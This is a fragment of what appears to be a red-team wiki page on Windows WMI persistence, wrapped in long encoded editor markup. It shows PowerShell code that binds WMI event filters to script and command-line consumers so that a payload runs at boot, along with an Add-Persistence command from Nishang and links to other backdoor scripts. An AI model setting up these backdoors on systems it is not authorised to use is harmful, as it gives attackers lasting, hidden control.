lMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwYXJlJTIwdGhlJTIwbW9zdCUyMHVzZWZ1bCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIyaGVhZGluZy0zJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJBY3RpdmVTY3JpcHRFdmVudENvbnN1bWVyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwcnVuJTIwYSUyMFZCU2NyaXB0JTIwd2l0aCUyMHRoZSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjRWQlNjcmlwdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwdmFyaWFibGUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" id="bkmrk-to-run-a-vbscript-wi">
<div data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkluJTIwYSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJSZWQlMjBUZWFtJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmJvbGQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjBvYmplY3RpdmUlMkMlMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyQWN0aXZlU2NyaXB0RXZlbnRDb25zdW1lciUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyYW5kJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbW1hbmRMaW5lRXZlbnRDb25zdW1lciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwYXJlJTIwdGhlJTIwbW9zdCUyMHVzZWZ1bCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIyaGVhZGluZy0zJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJBY3RpdmVTY3JpcHRFdmVudENvbnN1bWVyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwcnVuJTIwYSUyMFZCU2NyaXB0JTIwd2l0aCUyMHRoZSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjRWQlNjcmlwdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwdmFyaWFibGUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">
<div>
<div>
<div>
<div><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="85ee848723d24d65a781a363cec95534">To run a VBScript with the <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">$VBScript</code> variable</span></span></div>
<div></div>
</div>
</div>
</div>
</div>
</div>
<pre id="bkmrk-%24query-%3D-%22select-%2A-f"><code class="language-Powershell">$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime &gt;= 240 AND TargetInstance.SystemUpTime &lt; 325"
$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
$consumerPath = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{name=$filterName; ScriptFileName=$VBSFile; ScriptingEngine="VBScript"}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null</code></pre>
<h4 id="bkmrk-commandlineeventcons"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbW1hbmRMaW5lRXZlbnRDb25zdW1lciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">CommandLineEventConsumer</span></h4>
<p id="bkmrk-to-run-a-powershell-"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbW1hbmRMaW5lRXZlbnRDb25zdW1lciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"><span data-offset-key="b1672fcb3bc14d9496bcb281bddc5930:0">To run a PowerShell script with the </span><span data-offset-key="b1672fcb3bc14d9496bcb281bddc5930:1"><code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">$Payload</code></span><span data-offset-key="b1672fcb3bc14d9496bcb281bddc5930:2" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwcnVuJTIwYSUyMFBvd2VyU2hlbGwlMjBzY3JpcHQlMjB3aXRoJTIwdGhlJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyNFBheWxvYWQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29kZSUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMHZhcmlhYmxlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q="> variable</span></span></p>
<pre id="bkmrk-%24query-%3D-%22select-%2A-f-0"><code class="language-Powershell">$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime &gt;= 240 AND TargetInstance.SystemUpTime &lt; 325"
$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
$consumerPath = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{name=$filterName; CommandLineTemplate = $Payload}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null</code></pre>
<h4 id="bkmrk-add-persistence"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFkZC1QZXJzaXN0ZW5jZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Add-Persistence</span></h4>
<p id="bkmrk-the-attack-con-be-re"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFkZC1QZXJzaXN0ZW5jZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"><span data-key="65200b2cd0974c979223794446771c81">The attack can be realised with the </span><a class="link-a079aa82--primary-53a25e66--link-faf6c434" style="color: #26cb40;" href="https://github.com/samratashok/nishang/blob/master/Utility/Add-Persistence.ps1" target="_blank" rel="noopener noreferrer" data-key="65f6ff6ba9c8459295d260d58f690d7b"><span data-key="6506176c2a64469bbb818ecc1c222568"><strong class="bold-3c254bd9" data-slate-leaf="true">Add-Persistence.ps1</strong></span></a><span data-key="834394e0ab1c4f44b6ba77fd7704c7cb" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRoZSUyMGF0dGFjayUyMGNvbiUyMGJlJTIwcmVhbGlzZWQlMjB3aXRoJTIwdGhlJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJpbmxpbmUlMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGluayUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmhyZWYlMjIlM0ElMjJodHRwcyUzQSUyRiUyRmdpdGh1Yi5jb20lMkZzYW1yYXRhc2hvayUyRm5pc2hhbmclMkZibG9iJTJGbWFzdGVyJTJGVXRpbGl0eSUyRkFkZC1QZXJzaXN0ZW5jZS5wczElMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFkZC1QZXJzaXN0ZW5jZS5wczElMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjBzY3JpcHQlMjBmcm9tJTIwTmlzaGFuZyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE"> script from Nishang</span></span></p>
<pre id="bkmrk-add-persistence--pay"><code class="language-Powershell">Add-Persistence -PayloadScript .\Invoke-HelloWord.ps1 -Verbose</code></pre>
<p id="bkmrk-can-be-reverted-with" class="blockParagraph-544a408c" data-key="2755bbf342984b319af20ddf66d148dc"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="5229872581cc488fa5f0abedfe3f92f4">Can be reverted with <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">Remove-Persistence.ps1</code></span></span></p>
<p id="bkmrk-the-script-persisten" class="blockParagraph-544a408c" data-key="2755bbf342984b319af20ddf66d148dc"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="323ae34502ae4877a8591bf7dd3e34e8">The script </span><a class="link-a079aa82--primary-53a25e66--link-faf6c434" style="color: #26cb40;" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1" target="_blank" rel="noopener noreferrer" data-key="6df06e40eca34d0f96e1c020c4e61613"><span data-key="2cb0c564f89443d9ad9c2aafd1d50218"><code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">Persistence.psm1</code></span></a><span data-key="e440210f11dd4d4ba15d31a0c9ede749"> from PowerSploit can work perfectly also, or </span><a class="link-a079aa82--primary-53a25e66--link-faf6c434" style="color: #26cb40;" href="https://github.com/mattifestation/WMI_Backdoor/blob/master/WMIBackdoor.ps1" target="_blank" rel="noopener noreferrer" data-key="c218f8c7a19f40c2a97fff9f2b4dc5aa"><span data-key="f85df6eab44d4c2cb7ad8c6d2332681e"><code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">WMIBackdoor.ps1</code></span></a><span data-key="8b214eeb0e564d7dbc5608ca1bf03678">by Matthew Graeber</span></span></p>
<h4 id="bkmrk-mof-files"><span class="text-4505230f--HeadingH400-686c0942--textContentFamily-49a318e1"><span data-key="40075b5e29b9496db0824b2a4f19d03e">MOF Files</span></span></h4>
<div data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNhbiUyMGJlJTIwcmV2ZXJ0ZWQlMjB3aXRoJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJlbW92ZS1QZXJzaXN0ZW5jZS5wczElMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29kZSUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRoZSUyMHNjcmlwdCUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyaW5saW5lJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpbmslMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlMjJocmVmJTIyJTNBJTIyaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGUG93ZXJTaGVsbE1hZmlhJTJGUG93ZXJTcGxvaXQlMkZibG9iJTJGbWFzdGVyJTJGUGVyc2lzdGVuY2UlMkZQZXJzaXN0ZW5jZS5wc20xJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJQZXJzaXN0ZW5jZS5wc20xJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwZnJvbSUyMFBvd2VyU3Bsb2l0JTIwY2FuJTIwd29yayUyMHBlcmZlY3RseSUyMGFsc28lMkMlMjBvciUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyaW5saW5lJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpbmslMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlMjJocmVmJTIyJTNBJTIyaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGbWF0dGlmZXN0YXRpb24lMkZXTUlfQmFja2Rvb3IlMkZibG9iJTJGbWFzdGVyJTJGV01JQmFja2Rvb3IucHMxJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJXTUlCYWNrZG9vci5wczElMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29kZSUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJieSUyME1hdHRoZXclMjBHcmFlYmVyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1PRiUyMEZpbGVzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1PRiUyMEZpbGVzJTIwY2FuJTIwYmUlMjB1c2VkJTIwZm9yJTIwcGVyc2lzdGVuY2UlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtaXRlbSUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2J